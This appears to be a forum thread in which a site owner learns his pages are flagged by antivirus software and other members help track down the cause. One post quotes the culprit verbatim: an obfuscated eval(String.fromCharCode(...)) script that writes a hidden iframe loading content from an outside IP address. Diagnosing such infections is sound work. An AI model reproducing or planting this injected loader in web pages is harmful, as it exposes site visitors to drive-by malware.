Virus infected my domain??

[tortus32]

Someone just emailed me saying that when they visited shoekittens.com their virus protection software told them the site had a virus.

I'm on a Mac, and I don't have any such virus stuff with any of my browsers, so I can't tell if it's true or not.

I already started a support ticket with my hosting provider to see what they think.

Strange!

Bill

[Cleo]

Look and see if you find any snips of code on your pages

[tortus32]

I wouldn't even know what to look for :o(
I'll go see if I see anything strange I guess.

Thanks,

Bill

[tortus32]

I checked the main page and I don't see anything strange...hmmm.

Bill

[Cleo]

Look for iframe stuff on your pages.

That or anything that doesn't look like it is part of your normal html code.

[tortus32]

Yeah, I looked and didn't find anything like that. I even checked it against the files on my computer and tehy're identical.

I guess this guy just has some whacked out virus protection software that isn't working right?

I got a reply from the hosting provider and they said they can't find anything either, so I guess I'm Ok then.

Thanks,

Bill

[Cleo]

BTW, Nice to see another Mac user on the board. :)

[tortus32]

|headbang| Mac's Rule! PC's Drool! |headbang|

http://www.cafepress.com/theturtlebox/138108

Bill ;)

[Cleo]

I like the bag :D
http://www.cafepress.com/theturtlebox.6960308

[Head Boy]

It's probably the guys computer that's screwed. I'm not sure how you can ask him that though - he's probably on AOL and running Norton so he thinks he's invulnerable. :)

[DementedWynter]

OK I jumped out of lurkdom for this one.


Curiosity killed me and I went to your site... scrolled down past the models and clicked on the MORE MODELS link.

Norton IMMEDIATELY popped up with a Virus detection (I am using IE and do NOT have AOL).

It says it is the "Trojan.ByteVerify" virus.



Hope that helps... there IS something there! |ohhhhh|


http://securityresponse.symantec.com/avcenter/venc/data/trojan.byteverify.html

So it may be something you did with your own code?????

[HC-Majick]

yep, there's garbage on the first more models page. trojan.downloader, some vbs script that pops up help window. I'm running Kaspersky and Trend Micro AV.

[Cleo]

I'm guessing that this is it.
On this page just before the closing body tag.
http://shoekittens.com/free/index2.html
<script language=javascript>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,56,50,46,49,55,57,46,49,55,48,46,49,49,47,11 7,108,48,48,54,47,39,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,62,60,47,105,102,114,97,109,101,62,34,41))</script>

[tortus32]

Ok, I think I fixed it.

Thanks!

Bill

[Cleo]

But how did that get on your pages in the first place?

[tortus32]

But how did that get on your pages in the first place?

It was a java script that someone gave me as their recip or something like that. I can't even remember who it was.

Anyhow, I didn't even know it caused problems like that! I'm glad to be rid of it at least.

Thanks,

Bill

[Bill]

You should tell us who gave that script to you so we can watch out for his nasty theiving virus-infecting ways...